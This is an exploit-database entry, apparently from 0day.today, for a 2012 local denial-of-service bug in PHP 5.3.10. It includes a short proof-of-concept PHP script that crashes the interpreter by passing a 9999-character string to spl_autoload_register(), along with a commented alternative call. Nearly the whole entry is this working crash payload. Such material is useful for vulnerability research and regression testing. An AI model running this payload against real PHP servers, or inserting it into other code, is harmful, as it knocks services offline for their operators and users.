PHP 5.3.10 spl_autoload_register() Local Denial of Service

2012-06-03T00:00:00
ID 1337DAY-ID-18426
Type zdt
Reporter Yakir Wizman
Modified 2012-06-03T00:00:00

Description

Exploit for php platform in category dos / poc

                                        
                                            <?php
#####################################################################
## PHP 5.3.10 spl_autoload_register() Local Denial of Service
## Tested on Windows 7 64bit, English, Apache, PHP 5.3.10
## Date: 02/06/2012
## Local Denial of Service
## Bug discovered by Pr0T3cT10n, <[email protected]>
## ISRAEL
## http://www.0x31337.net
#####################################################################
 
$buffer = str_repeat("A",9999);
spl_autoload_register($buffer);
 
## Or..
# spl_autoload_register($buffer,1,1); #Should work too.
?>



#  0day.today [2018-01-10]  #